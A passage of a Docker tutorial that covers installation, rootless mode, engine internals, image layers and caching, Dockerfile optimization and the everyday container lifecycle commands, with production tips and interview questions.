`Cannot connect to the Docker daemon`	dockerd not running	`sudo systemctl start docker`
`dial unix /var/run/docker.sock: connect: no such file`	Docker not installed or not started	Install Docker OR `sudo systemctl start docker`
`Failed to connect to bus: No such file`	systemd not available (WSL/container)	Logout and login again, or `sudo service docker start`
`E: Package 'docker-ce' has no installation candidate`	Repository not added	Redo steps 3-4
`toomanyrequests` from Docker Hub	Rate limit hit (unauthenticated)	Run `docker login` or use a mirror

Docker Rootless Mode

# Install prerequisites
sudo apt install -y uidmap

# Install rootless Docker (as regular user, NOT sudo)
dockerd-rootless-setuptool.sh install

# Set environment variables
export DOCKER_HOST=unix://$XDG_RUNTIME_DIR/docker.sock
export PATH=$HOME/bin:$PATH

# Add to ~/.bashrc for persistence
echo 'export DOCKER_HOST=unix://$XDG_RUNTIME_DIR/docker.sock' >> ~/.bashrc
echo 'export PATH=$HOME/bin:$PATH' >> ~/.bashrc

# Enable service (user-level systemd)
systemctl --user enable docker
systemctl --user start docker

# Verify
docker info | grep -i rootless
# Should show: rootless: true

Note: In security-critical environments, use rootless Docker or Podman. In rootless mode, the impact of container breakout attacks is drastically reduced because the daemon is not root. In Kubernetes environments, configure securityContext with non-root users.

Installation on RHEL / CentOS / Rocky Linux

# Step 1: Install yum-utils
sudo yum install -y yum-utils

# Step 2: Add Docker repository
sudo yum-config-manager \
  --add-repo \
  https://download.docker.com/linux/centos/docker-ce.repo

# Step 3: Install Docker
sudo yum install -y \
  docker-ce \
  docker-ce-cli \
  containerd.io \
  docker-buildx-plugin \
  docker-compose-plugin

# Step 4: Start and enable
sudo systemctl start docker
sudo systemctl enable docker

# Step 5: Post-install
sudo usermod -aG docker $USER
newgrp docker

# Verify
docker run hello-world

# Note: On RHEL 9+, podman is preferred (Docker-compatible CLI)
# podman run hello-world  # Same commands, daemonless!

Docker Engine Components — Under the Hood

Component Stack

The Docker Engine follows this layered stack from top to bottom:

docker CLI — docker run / build / push / pull (makes REST API calls)
dockerd — Docker Daemon — REST API | /var/run/docker.sock | Port 2376 (TLS)
containerd — Image management | Container lifecycle | /run/containerd/containerd.sock
containerd-shim — Daemonless container I/O | stdout/stderr relay
runc (OCI Runtime) — syscalls to kernel: clone(), unshare(), setns()
Linux Kernel — namespaces (pid, net, mnt, uts, ipc) | cgroups (cpu, memory, io)
Container Process — Your app running as PID 1 inside container

dockerd — Docker Daemon Deep Dive

# View dockerd process
ps aux | grep dockerd
# root  1234  ... /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock

# Socket files
ls -la /var/run/docker.sock             # Unix socket (default)
ls -la /run/containerd/containerd.sock  # containerd socket

# dockerd config file
cat /etc/docker/daemon.json

# Restart dockerd (containers will NOT stop!)
sudo systemctl restart docker

# View dockerd logs
sudo journalctl -u docker.service -n 50 --no-pager
sudo journalctl -u docker.service -f  # Live tail

# Docker events stream
docker events  # Real-time events: container start/stop/die, image pull, etc.

daemon.json — Production Configuration

{
  "log-driver": "json-file",
  "log-opts": {
    "max-size": "100m",
    "max-file": "3"
  },
  "default-address-pools": [
    {"base": "172.17.0.0/12", "size": 24}
  ],
  "storage-driver": "overlay2",
  "registry-mirrors": [
    "https://mirror.gcr.io"
  ],
  "insecure-registries": [],
  "live-restore": true,
  "max-concurrent-downloads": 10,
  "max-concurrent-uploads": 5,
  "metrics-addr": "0.0.0.0:9323",
  "experimental": false
}

Note (Production Must-Haves): log-driver + log-opts: By default Docker logs can consume unlimited disk. Set max-size: 100m and max-file: 3 — total 300MB max per container. live-restore: true: Containers will not stop when the Docker daemon restarts. Critical for zero-downtime daemon updates! storage-driver: overlay2: Best performance on modern kernels. Also the default on Ubuntu.

containerd — Detailed

# Inspect containerd directly
sudo ctr version
sudo ctr namespaces ls         # Docker uses 'moby' namespace
sudo ctr -n moby images ls     # Docker images in containerd
sudo ctr -n moby containers ls # Running containers

# containerd config
cat /etc/containerd/config.toml

# Restart containerd (Docker containers will temporarily stop!)
sudo systemctl restart containerd

# In Kubernetes clusters (containerd directly)
# crictl images         # CRI-compatible CLI
# crictl ps             # Running containers
# crictl inspect <id>   # Container details

Note (containerd-shim): containerd-shim is an intermediate process spawned for each container. Its job: (1) relay stdin/stdout/stderr, (2) report exit status, (3) keep the container alive even if the daemon crashes. This is why live-restore: true works!

OCI — Open Container Initiative

Specification	Defines	Implemented By
Image Spec	Image format: layers, manifest, config JSON	Docker, containerd, Buildah
Runtime Spec	How to run a container: config.json + rootfs	runc, crun, kata-containers
Distribution Spec	How images are pushed/pulled from registries	Docker Hub, ECR, GCR, Harbor

Tip (Interview Question): Q: "What is the difference between Docker and containerd?" A: Docker is a complete platform (CLI + daemon + build tools + compose). containerd is just a container runtime — lightweight, CRI-compatible, perfect for Kubernetes. Docker internally uses containerd. Kubernetes bypasses the Docker daemon and talks directly to containerd (since v1.24).

Understanding Docker Images

Image — The Blueprint

An image is an immutable blueprint. Think of it this way: a class Component extends React.Component — you don't directly "run" a class, you create an instance. Similarly, Image = Class, Container = Instance. An image is built once, then thousands of containers can be created from it. The image itself never changes.

Technically, a Docker image is a read-only filesystem snapshot + metadata (env vars, exposed ports, entry command), organized in layers — each layer representing an incremental change.

Image Layers — The Onion Model

┌─────────────────────────────────────────┐
│  Container Layer — WRITABLE             │  ← New files, modifications go here.
│  New files, modifications go here.      │    Deleted when container stops.
│  Deleted when container stops.          │
├─────────────────────────────────────────┤
│           ↑ WRITABLE / READ-ONLY ↓      │
├─────────────────────────────────────────┤
│  Layer 4: COPY . /app                   │  ← Your application source code (~5 MB)
├─────────────────────────────────────────┤
│  Layer 3: RUN npm install               │  ← node_modules directory (~80 MB)
├─────────────────────────────────────────┤
│  Layer 2: WORKDIR /app                  │  ← Creates /app directory (metadata only)
├─────────────────────────────────────────┤
│  Layer 1: FROM node:18-alpine           │  ← Base OS + Node.js runtime (~120 MB,
│                                         │    shared with other node images)
└─────────────────────────────────────────┘
  OverlayFS merges all layers → appears as single filesystem to container

Note: OverlayFS is a Linux kernel filesystem driver. It merges multiple read-only layers and one read-write layer into a single unified filesystem. The container sees a normal filesystem, but it is actually a stack of layers. Copy-on-Write is used — when a container modifies a file, it is first copied from the read-only layer to the read-write layer (upperdir), then modified.

Image Manifest and Digest

# View image manifest (JSON format)
docker manifest inspect nginx:latest

# Image digest — immutable SHA256 reference
docker images --digests nginx
# REPOSITORY   TAG       DIGEST                                                    IMAGE ID
# nginx        latest    sha256:a484819eb60...                                     e784f4560448

# Pull by digest (PRODUCTION BEST PRACTICE)
# Tags can change (latest is mutable), digests never change!
docker pull nginx@sha256:a484819eb60211f5299034ac80f6a681b06f89e65866ce91f356ed7c72af059c

# Tags are mutable — this is dangerous:
docker pull nginx:latest   # Today pulls one version, tomorrow may pull another

# Safe production pull (pinned digest):
docker pull nginx@sha256:exact_digest_from_registry

# Get digest of a local image
docker inspect nginx --format='{{index .RepoDigests 0}}'

Caution: The :latest tag is a moving target. If you pull today you get 1.25; if CI/CD pulls tomorrow it might get 1.26 — with breaking changes. In production, always pin semantic versions: nginx:1.25.3-alpine or use digests. :latest is only acceptable for local development.

Image Storage on Disk

# Where Docker images are stored on disk
ls /var/lib/docker/

# Image layers (overlay2 storage driver)
sudo ls /var/lib/docker/overlay2/
# Each directory is a layer

# Image metadata
sudo ls /var/lib/docker/image/overlay2/imagedb/content/sha256/
# Each file is an image manifest/config

# Disk usage breakdown — important for DevOps!
docker system df
# TYPE            TOTAL     ACTIVE    SIZE      RECLAIMABLE
# Images          15        3         2.1GB     1.8GB (85%)
# Containers      5         2         45MB      23MB (51%)
# Local Volumes   8         3         560MB     300MB (53%)
# Build Cache     0         0         0B        0B

# Detailed breakdown
docker system df -v

# View layer sharing (images share base layers)
docker history nginx:latest --no-trunc
docker history nginx:alpine --no-trunc
# Common layers are shared — only one copy on disk!

Image Tags vs Digests vs IDs

Concept	Example	Mutable?	Use Case
Image ID	`e784f4560448`	No (content-addressed)	Local reference, scripting
Tag	`nginx:1.25.3`	Yes (can be moved)	Human-readable, dev/staging
Digest	`nginx@sha256:abc...`	No (cryptographic)	Production deployments, security
latest tag	`nginx:latest`	Yes (frequently moves)	Local dev ONLY, never production

Tip (Interview Question): Q: "What is the difference between a Docker image and a container?" A: An image is a read-only blueprint/template — a static filesystem snapshot. A container is a running instance of that image, with a writable layer added on top. You can create thousands of containers from one image. When a container is stopped, the writable layer is deleted (unless committed or a volume is used).

Working with Images — Command Deep Dive

docker pull — Downloading Images

Purpose: Download images from a registry to your local machine. Pull without docker run when you want the image without starting a container.

# Basic pull — pulls latest tag (avoid in production!)
docker pull nginx

# Specific tag pull (recommended)
docker pull nginx:1.25.3-alpine

# Specific digest pull (MOST RECOMMENDED for production)
docker pull nginx@sha256:a484819eb60211f5299034ac80f6a681b06f89e65866ce91f356ed7c72af059c

# Pull from private registry
docker pull myregistry.company.com/myapp:v1.2.3

# Pull from AWS ECR (login first)
aws ecr get-login-password --region ap-south-1 | \
  docker login --username AWS --password-stdin \
  123456789012.dkr.ecr.ap-south-1.amazonaws.com

docker pull 123456789012.dkr.ecr.ap-south-1.amazonaws.com/myapp:latest

# Pull from GCR
docker pull gcr.io/my-project/myapp:v2.0.0

# Pull from GitHub Container Registry
docker pull ghcr.io/myorg/myapp:main

# Specify platform (ARM/AMD64)
docker pull --platform linux/amd64 nginx:latest
docker pull --platform linux/arm64 nginx:latest  # For Apple Silicon

Caution: Always specify a tag when pulling. docker pull nginx = docker pull nginx:latest. If the latest tag is updated tomorrow, your CI/CD will pull a different image. Fix: docker pull nginx:1.25.3 or use a digest.

docker images — Listing Images

# Basic list
docker images
docker image ls  # Same command, new syntax

# Table format with size
docker images --format "table {{.Repository}}\t{{.Tag}}\t{{.Size}}\t{{.CreatedAt}}"

# Filter dangling images (untagged, build artifacts)
docker images -f dangling=true

# Filter by label
docker images -f label=env=production

# Image IDs only (useful for scripting)
docker images -q

# Show images for a specific repository
docker images nginx

# Custom format
docker images --format "{{.ID}}: {{.Repository}}:{{.Tag}} — {{.Size}}"

# All images (including intermediates)
docker images -a

# Images with digests
docker images --digests

# Sort by size
docker images --format "{{.Size}}\t{{.Repository}}:{{.Tag}}" | sort -h

docker rmi — Deleting Images

# Remove by name
docker rmi nginx
docker image rm nginx

# Specify tag (when multiple tags exist)
docker rmi nginx:1.25.3-alpine

# Remove by image ID
docker rmi e784f4560448

# Remove multiple images at once
docker rmi nginx:latest ubuntu:20.04 redis:alpine

# Force remove — even if a container is using it (dangerous!)
docker rmi -f nginx:latest

# Remove dangling images (safe cleanup)
docker image prune

# Remove all unused images (aggressive cleanup)
docker image prune -a

# Remove without confirmation
docker image prune -f
docker image prune -a -f

# Nuclear option — delete all images (careful!)
docker rmi $(docker images -q)

# Delete by age filter
docker image prune -a --filter "until=24h"   # Older than 24 hours
docker image prune -a --filter "until=168h"  # Older than 7 days

Caution: An image used by a running container cannot be deleted — docker rmi will fail. Stop and remove the container first: docker stop <container> && docker rm <container>, then docker rmi <image>.

docker tag — Tagging Images

# Tag for Docker Hub
docker tag myapp:latest myusername/myapp:v1.0.0
docker tag myapp:latest myusername/myapp:latest

# Tag for AWS ECR
docker tag myapp:latest \
  123456789012.dkr.ecr.ap-south-1.amazonaws.com/myapp:v1.0.0

# Tag for GCR
docker tag myapp:latest gcr.io/my-gcp-project/myapp:v1.0.0

# Tag for GitHub Container Registry
docker tag myapp:latest ghcr.io/myorg/myapp:v1.0.0
docker tag myapp:latest ghcr.io/myorg/myapp:main-abc1234  # Git commit hash

# CI/CD common pattern (git hash + version)
GIT_HASH=$(git rev-parse --short HEAD)
VERSION="1.2.3"
docker tag myapp:latest myregistry.io/myapp:${VERSION}-${GIT_HASH}
docker tag myapp:latest myregistry.io/myapp:${VERSION}
docker tag myapp:latest myregistry.io/myapp:latest

Tip (Tagging Strategy for CI/CD): Good tagging strategy: (1) Git commit hash tag — always, immutable and traceable. (2) Semantic version tag. (3) Branch name tag (e.g., main, develop). (4) latest only on main/master branch. This strategy makes both rollback and debugging easy.

docker save & docker load — Transferring Images

# Save a single image
docker save -o myapp.tar myapp:latest

# Save multiple images into one tar
docker save -o all-images.tar nginx:latest redis:alpine postgres:15

# Compressed save (saves disk space)
docker save myapp:latest | gzip > myapp.tar.gz

# Load from tar file
docker load -i myapp.tar

# Load compressed
gunzip -c myapp.tar.gz | docker load

# Transfer via SSH (no file on disk!)
docker save myapp:latest | ssh user@remote-server docker load

# Verify loaded image
docker images | grep myapp

docker history — Viewing Image Layers

# View image history
docker history nginx

# Full commands (not truncated)
docker history --no-trunc nginx

# Custom format
docker history --format "table {{.ID}}\t{{.Size}}\t{{.CreatedBy}}" nginx

# Identify large layers
docker history nginx --format "{{.Size}}\t{{.CreatedBy}}" | \
  grep -v "^0B" | \
  sort -rh | head -5

docker inspect — Deep Inspection

# Full JSON inspection
docker inspect nginx
docker inspect nginx | jq  # Pretty printed (install jq: sudo apt install jq)

# Extract specific fields (Go template syntax)
docker inspect --format '{{.Config.Env}}' nginx
docker inspect --format '{{.Config.ExposedPorts}}' nginx
docker inspect --format '{{.Config.Cmd}}' nginx

# For containers: get IP address
docker inspect --format '{{.NetworkSettings.IPAddress}}' my_container

# Container mount points
docker inspect --format '{{json .Mounts}}' my_container | jq

# Container restart policy
docker inspect --format '{{.HostConfig.RestartPolicy}}' my_container

# Image layers (layer hashes)
docker inspect nginx | jq '.[0].RootFS.Layers'

# Container environment variables
docker inspect my_container | jq '.[0].Config.Env[]'

docker push — Uploading to Registry

# Login first
docker login                               # Docker Hub
docker login myregistry.company.com        # Private registry

# AWS ECR login
aws ecr get-login-password --region ap-south-1 | \
  docker login --username AWS --password-stdin \
  123456789012.dkr.ecr.ap-south-1.amazonaws.com

# GitHub Container Registry login
echo $GITHUB_TOKEN | docker login ghcr.io -u $GITHUB_USERNAME --password-stdin

# Push
docker push myusername/myapp:v1.0.0
docker push myusername/myapp:latest

# Push multiple tags (loop)
for TAG in v1.0.0 v1.0 v1 latest; do
  docker push myregistry.io/myapp:${TAG}
done

# Logout (for security on shared machines)
docker logout
docker logout myregistry.company.com

Image Layers Deep Dive — Caching & Optimization

Place stable layers (base image, dependencies) below volatile ones (source code) so Docker's layer cache is reused on every incremental build.

OverlayFS — Technical Deep Dive

OverlayFS Component	Docker Equivalent	Description
`lowerdir`	Image layers (read-only)	Base image + all intermediate layers — never modified
`upperdir`	Container's writable layer	Container-specific changes go here
`workdir`	Internal OverlayFS use	Staging area for atomic operations
`merged`	Container's filesystem view	Unified mount — what the container sees

# View OverlayFS mount for a running container
docker run -d --name mynginx nginx

# Get mount info
docker inspect mynginx | jq '.[0].GraphDriver'
# {
#   "Data": {
#     "LowerDir": "/var/lib/docker/overlay2/abc.../diff:/var/lib/docker/overlay2/def.../diff",
#     "MergedDir": "/var/lib/docker/overlay2/xyz.../merged",
#     "UpperDir": "/var/lib/docker/overlay2/xyz.../diff",
#     "WorkDir": "/var/lib/docker/overlay2/xyz.../work"
#   },
#   "Name": "overlay2"
# }

# View actual filesystem layering on host
sudo ls /var/lib/docker/overlay2/

# View mount point on host
cat /proc/mounts | grep overlay

# Demonstrate Copy-on-Write
docker exec mynginx sh -c "echo 'hello' > /usr/share/nginx/html/test.html"
# The file went into the container's upperdir, NOT into the image.
# The image remains unchanged.

Layer Caching — The Secret of Build Speed

# First build — everything downloaded and executed (slow)
docker build -t myapp:v1 .
# Step 1/5 : FROM node:18-alpine      → DOWNLOADING (slow)
# Step 2/5 : WORKDIR /app             → Running
# Step 3/5 : COPY package*.json ./    → Running
# Step 4/5 : RUN npm install          → Installing (slow!)
# Step 5/5 : COPY . .                 → Running

# Second build (only source code changed)
docker build -t myapp:v2 .
# Step 1/5 : FROM node:18-alpine      → Using cache  ✓ (instant!)
# Step 2/5 : WORKDIR /app             → Using cache  ✓ (instant!)
# Step 3/5 : COPY package*.json ./    → Using cache  ✓ (package.json unchanged)
# Step 4/5 : RUN npm install          → Using cache  ✓ (instant!)
# Step 5/5 : COPY . .                 → Running      ← Only this re-runs!
# Total time: 2 seconds vs 3 minutes!

# Force bypass cache
docker build --no-cache -t myapp:fresh .

# Use cache from external source (CI/CD optimization)
docker build \
  --cache-from myregistry.io/myapp:latest \
  -t myapp:new .

Cache Invalidation — When Cache Breaks

Instruction	Cache Invalidates When	Note
`FROM`	Base image digest changes	Rarely — unless you explicitly pull new base
`RUN`	Command text changes	Even whitespace change = cache miss!
`COPY / ADD`	File content changes (checksum)	Even 1 byte change = cache miss for this layer + all subsequent
`ENV`	Value changes	All subsequent layers also invalidated
`ARG`	Build arg value changes	Be careful with VERSION args — they invalidate builds
`WORKDIR`	Path changes	Usually stable

Caution: A cache miss in one layer causes ALL subsequent layers to re-run. This is why layer ordering is so important — put frequently changing instructions last, stable instructions first.

Layer Ordering — Cache Optimization

# ❌ BAD — npm install runs EVERY TIME any file changes
FROM node:18-alpine
WORKDIR /app
COPY . .           # Source code AND package.json copied together
RUN npm install    # Re-runs even if only App.jsx changed!

# ✅ GOOD — npm install only when package.json changes
FROM node:18-alpine
WORKDIR /app

# Step 1: Copy ONLY package files first
COPY package.json package-lock.json ./

# Step 2: Install dependencies (CACHED as long as package.json is unchanged)
RUN npm install

# Step 3: Now copy source code (this layer changes with source changes)
COPY . .

# Build
RUN npm run build

# Serve
CMD ["node", "server.js"]

# ✅ BEST — Python/pip example follows the same principle
FROM python:3.11-slim
WORKDIR /app

# Dependencies first (stable layer)
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

# Source code later (frequently changing)
COPY . .

CMD ["python", "app.py"]

# ✅ BEST — Java/Maven example
FROM maven:3.9-eclipse-temurin-17 AS build
WORKDIR /app

# Copy pom.xml first (dependencies are stable)
COPY pom.xml .
RUN mvn dependency:go-offline -q  # Download all dependencies (cached!)

# Source code later
COPY src ./src
RUN mvn package -q -DskipTests

FROM eclipse-temurin:17-jre-alpine
COPY --from=build /app/target/*.jar app.jar
CMD ["java", "-jar", "app.jar"]

Note (Golden Rule of Layer Ordering): Think of it this way: "What changes least goes first." Order of stability: Base image > System packages > Dependency files > Dependencies install > Config files > Source code > Build artifacts. Following this order will dramatically speed up CI/CD builds.

Layer Sharing — Memory & Disk Efficiency

When 50 Node.js microservices all use the same node:18-alpine base image:

Without sharing: 50 × 120MB = 6 GB
With Docker layer sharing: 120MB (base, stored once) + 50 × app_size

This means more containers fit per Kubernetes node, node startup is faster (layer already cached), and network bandwidth is saved during pulls.

Layer Analysis Tools

# Method 1: docker history (built-in)
docker history --no-trunc myapp:latest

# Method 2: docker inspect layers
docker inspect myapp:latest | jq '.[0].RootFS.Layers'

# Method 3: dive tool (BEST for optimization)
# Installation
wget https://github.com/wagoodman/dive/releases/download/v0.12.0/dive_0.12.0_linux_amd64.deb
sudo apt install ./dive_0.12.0_linux_amd64.deb

# Interactive layer analysis
dive myapp:latest
# Left panel: layer list + size
# Right panel: filesystem changes per layer
# Shows wasted space — e.g., files deleted in later layers
# Gives an efficiency score

# CI mode (automated check)
dive myapp:latest --ci   # Fails if efficiency is below threshold

# Method 4: BuildKit inline --progress=plain
DOCKER_BUILDKIT=1 docker build --progress=plain -t myapp:latest .
# Shows each step's timing and cache status

Advanced Layer Optimization Techniques

# Technique 1: Combine RUN commands (fewer layers)
# ❌ BAD — 3 layers for apt operations
RUN apt update
RUN apt install -y curl wget
RUN rm -rf /var/lib/apt/lists/*

# ✅ GOOD — Single layer, cleanup in SAME layer
RUN apt update && \
    apt install -y curl wget && \
    rm -rf /var/lib/apt/lists/*
# IMPORTANT: Cleanup must be in the SAME RUN instruction!
# Cleaning in a separate RUN does NOT reduce layer size
# (the layer with apt cache already exists)

# Technique 2: Multi-stage builds (drastically reduce SIZE)
# Build stage
FROM node:18 AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci --production=false  # All deps including devDependencies
COPY . .
RUN npm run build               # Create production build

# Production stage (runtime only!)
FROM node:18-alpine             # Slim base (50MB vs 1GB!)
WORKDIR /app
COPY --from=builder /app/dist ./dist
COPY --from=builder /app/node_modules ./node_modules
# Build tools, devDeps, source code do not go into the production image!
EXPOSE 3000
CMD ["node", "dist/server.js"]

# Result: 1.2GB → 180MB image!

# Technique 3: .dockerignore (like .gitignore for Docker)
# node_modules/      ← exclude from COPY
# .git/              ← unnecessary
# dist/              ← build output (will be rebuilt)
# *.log              ← log files
# .env               ← Secrets! NEVER in image
# coverage/          ← test coverage reports

# Technique 4: Specific COPY (avoid COPY . .)
# ❌ BAD
COPY . .              # Copies everything including .git, tests, docs

# ✅ GOOD
COPY src/ ./src/
COPY public/ ./public/
COPY package*.json ./

Tip (Senior Interview Question): Q: "A Docker image has grown to 2GB — how would you optimize it?" A: (1) Use docker history --no-trunc myimage to identify large layers. (2) Use multi-stage builds — don't include build tools in production. (3) Use Alpine base image (50MB vs 900MB). (4) Run apt-get clean && rm -rf /var/lib/apt/lists/* in the same RUN instruction. (5) Use .dockerignore to exclude unnecessary files. (6) Use the dive tool to find wasted space. (7) Combine RUN instructions. Typically, 2GB → 150-200MB is achievable!

Container Lifecycle

Container States

Every Docker container passes through multiple states during its life. Think of them like React component lifecycle (mount, update, unmount) — but more complex:

CREATED — Container created via docker create but not started
RUNNING — Container is active
PAUSED — Frozen, consuming no CPU
EXITED — Stopped or done (via docker stop, docker kill, exit, or crash)
RESTARTING — Auto-restart loop in progress
DEAD — Restart attempts failed, max retries exceeded
REMOVED — Container permanently deleted via docker rm

Image vs Container

Aspect	Image	Container
Nature	Blueprint / Template	Running instance
State	Immutable, static (never changes)	Mutable, stateful (can change)
Storage	Read-only layers	Image layers + writable layer on top
Multiple instances	Shared by all containers using it	Each container fully independent
Lifecycle	Build once, use forever	Create → Run → Stop → Delete
Disk space	Stored once even if 100 containers use it	Only writable layer extra per container
Analogy	Recipe	The actual dish
React analogy	React Component class/function	Component instance rendered in DOM

Container Lifecycle Commands — Quick Reference

# Full lifecycle — a container's complete journey
docker create --name myapp nginx          # Create but don't start
docker start myapp                        # Start it
docker pause myapp                        # Freeze it (stops CPU usage)
docker unpause myapp                      # Unfreeze it
docker stop myapp                         # Graceful stop (SIGTERM then SIGKILL)
docker start myapp                        # Start again
docker restart myapp                      # Stop + Start in one command
docker kill myapp                         # Immediate kill (SIGKILL)
docker rm myapp                           # Remove container (permanently delete)

# One-liner (create + start + remove when done — for temporary tasks)
docker run --rm --name temp-app nginx

# Check current state of all containers
docker ps -a

Tip: docker run = docker create + docker start + docker attach (in foreground mode). CI/CD pipelines almost always use docker run. docker create is useful when you want to set up a container first and start it later.

Caution: If a container enters the DEAD state, it cannot be restarted. You can only remove it with docker rm. This happens when restart policy max retries are exhausted. Monitor DEAD containers in production!

Essential Container Commands

docker run — The Master Command

docker run creates a container, starts it, and optionally attaches to it. Understanding its options is essential.

# Full syntax
docker run [OPTIONS] IMAGE [COMMAND] [ARG...]

# -d: Detached mode (run in background)
docker run -d nginx
docker run -d --name my-nginx nginx

# -p: Port mapping (host_port:container_port)
docker run -d -p 8080:80 nginx             # Host 8080 → Container 80
docker run -d -p 127.0.0.1:8080:80 nginx  # Bind to specific IP
docker run -d -p 8080:80 -p 443:443 nginx # Multiple ports
docker run -d -P nginx                     # Auto-map ALL EXPOSED ports

# -v: Volume mount (old syntax)
docker run -d -v /host/path:/container/path nginx
docker run -d -v myvolume:/app/data nginx
docker run -d -v $(pwd):/app node:18       # Mount current directory

# --mount: Volume mount (new, preferred syntax)
docker run -d --mount type=bind,source=/host/path,target=/container/path nginx
docker run -d --mount type=volume,source=myvolume,target=/data nginx
docker run -d --mount type=tmpfs,target=/tmp nginx

# -e: Environment variables
docker run -d -e NODE_ENV=production node:18
docker run -d -e DB_HOST=localhost -e DB_PORT=5432 myapp
docker run -d --env-file .env myapp        # Load from .env file

# --name: Give the container a name
docker run -d --name my-api myapp:v1.0

# --rm: Automatically remove when it exits
docker run --rm ubuntu echo "hello"        # Perfect for one-off commands
docker run --rm -v $(pwd):/app node:18 npm test

# --network: Connect to a network
docker run -d --network mynetwork nginx
docker run -d --network host nginx         # Use host machine's network

# --restart: Restart policy
docker run -d --restart no nginx              # Never restart (default)
docker run -d --restart always nginx          # Always restart
docker run -d --restart on-failure nginx      # Restart only on failure
docker run -d --restart on-failure:3 nginx    # Max 3 retries
docker run -d --restart unless-stopped nginx  # Restart unless manually stopped

# -it: Interactive Terminal (enter the container)
docker run -it ubuntu bash               # Start bash session
docker run -it --rm ubuntu bash          # Session ends → container deleted
docker run -it node:18 node              # Node.js REPL

# Resource Limits (CRITICAL IN PRODUCTION!)
docker run -d --memory=512m nginx              # Max 512MB RAM
docker run -d --memory=512m --memory-swap=1g nginx  # RAM + swap limit
docker run -d --cpus=0.5 nginx                 # 50% of one CPU
docker run -d --cpus=2 nginx                   # 2 full CPUs

# --user: Run as a specific user (security)
docker run -d --user 1000:1000 nginx
docker run -d --user nobody nginx

# Real-world Production Example — all together
docker run -d \
  --name my-react-app \
  -p 3000:3000 \
  -e NODE_ENV=production \
  -e API_URL=https://api.myapp.com \
  -v /var/log/app:/app/logs \
  --memory=256m \
  --cpus=0.5 \
  --restart unless-stopped \
  --network app-network \
  myreactapp:v1.2.3

Note (Production): Without resource limits, a single buggy container can consume all server memory. A memory limit means the OOM killer will kill the container — not the entire server. CPU limits ensure fair sharing between containers.

docker ps — List Containers

# Running containers only
docker ps

# ALL containers (including stopped)
docker ps -a

# IDs only (useful in scripts)
docker ps -q

# Last 5 created containers
docker ps -n 5

# Custom format
docker ps --format "table {{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Ports}}"
docker ps --format "{{.Names}}: {{.Status}}"

# Filter by status
docker ps -f status=running
docker ps -f status=exited
docker ps -f name=myapp
docker ps -f ancestor=nginx       # Containers using nginx image

# Show container sizes
docker ps -s

docker stop / start / restart

# Graceful stop — sends SIGTERM, waits 10 sec, then SIGKILL
docker stop myapp
docker stop --time=30 myapp       # Wait 30 sec before SIGKILL

# Stop multiple containers at once
docker stop container1 container2 container3

# Stop all running containers
docker stop $(docker ps -q)

# Start a stopped container
docker start myapp
docker start -a myapp             # Start + attach to output

# Restart = stop + start
docker restart myapp
docker restart --time=5 myapp     # Wait 5 sec before SIGKILL

docker pause / unpause — Freeze a Container

# Freeze container (uses cgroups freezer)
# Container state is preserved, no CPU consumed
docker pause myapp

# Unfreeze — container continues from where it left off
docker unpause myapp

# When to use:
# - Load testing: pause one container, test another
# - Debug: capture exact state without losing data
# - Resource saving: temporarily free CPU

Note: docker pause = process freeze (still in memory, state preserved, no CPU). docker stop = process terminate (SIGTERM → SIGKILL). Unpause is very fast because the process doesn't restart — it just unfreezes.

docker kill — Immediate Termination

# Immediate kill (SIGKILL — no grace period)
docker kill myapp

# Send a specific signal
docker kill --signal=SIGTERM myapp    # Graceful shutdown request
docker kill --signal=SIGHUP myapp     # Nginx config reload (without restart!)
docker kill --signal=9 myapp          # SIGKILL (same as default kill)
docker kill --signal=SIGUSR1 myapp    # App-specific custom signal

docker rm — Remove Containers

# Remove a stopped container
docker rm myapp

# Force remove a running container (think before you do this!)
docker rm -f myapp

# Remove container and its anonymous volume
docker rm -v myapp

# Remove all stopped containers at once (recommended!)
docker container prune
docker rm $(docker ps -aq -f status=exited)

# Remove ALL containers (running + stopped) — nuclear option!
docker rm -f $(docker ps -aq)

docker logs — View Logs (First Debug Tool)

When something is not working, look at logs first!

# Basic logs
docker logs myapp

# Follow (like tail -f, real-time updates)
docker logs -f myapp

# Last 100 lines only
docker logs --tail 100 myapp

# Show with timestamps
docker logs -t myapp

# Logs since a specific time
docker logs --since 2024-01-01 myapp
docker logs --since 1h myapp              # Last 1 hour of logs

# Most useful combination — last 50 lines follow with timestamps
docker logs -f -t --tail 50 myapp

Tip: docker logs works when the application writes to stdout/stderr. If the app writes to a file (e.g., /var/log/app.log), use docker exec -it myapp tail -f /var/log/app.log, or mount a volume and read from the host.

docker exec — Enter a Running Container

This command is used daily for debugging. Enter a running container and investigate.

# Run a command inside the container
docker exec myapp ls /app
docker exec myapp cat /etc/nginx/nginx.conf

# Interactive bash session (most common use case)
docker exec -it myapp bash

# Alpine-based containers: use sh (bash not available)
docker exec -it myapp sh

# Login as root (when full access is needed)
docker exec -it --user root myapp bash

# With environment variable
docker exec -e DEBUG=true myapp node debug.js

# Real-world examples
docker exec -it postgres psql -U admin -d mydb    # Enter PostgreSQL
docker exec -it redis redis-cli                   # Open Redis CLI
docker exec -it nginx nginx -t                    # Test nginx config
docker exec -it nginx nginx -s reload             # Gracefully reload nginx
docker exec -it myapp cat /app/config.json        # Read config file
docker exec -it myapp env                         # View all env variables
docker exec -it myapp ps aux                      # View running processes

Caution: docker exec starts a new process inside the container. docker attach connects to the container's main process — pressing Ctrl+C will STOP the container! For debugging, always use exec.

docker inspect — Extract Full Details

# Full JSON info
docker inspect myapp

# Extract specific info with Go templates
docker inspect --format '{{.NetworkSettings.IPAddress}}' myapp
docker inspect --format '{{.Config.Env}}' myapp
docker inspect --format '{{.Config.Image}}' myapp
docker inspect --format '{{.State.StartedAt}}' myapp

# Port mappings
docker inspect --format '{{json .NetworkSettings.Ports}}' myapp | jq

# Volume/mount info
docker inspect --format '{{json .Mounts}}' myapp | jq

# Container exit code (for debugging)
docker inspect --format '{{.State.ExitCode}}' myapp

docker top, docker stats, docker cp, docker commit

# View processes inside container (from host, without entering container)
docker top myapp
docker top myapp aux
docker top myapp -ef

# Real-time resource usage (live dashboard)
docker stats
docker stats myapp
docker stats --no-stream          # One snapshot
docker stats --format "table {{.Name}}\t{{.CPUPerc}}\t{{.MemUsage}}\t{{.NetIO}}"

# Copy files between container and host
docker cp myapp:/app/config.json ./config.json     # Container → host
docker cp ./config.json myapp:/app/config.json     # Host → container
docker cp myapp:/var/log/app.log ./app.log
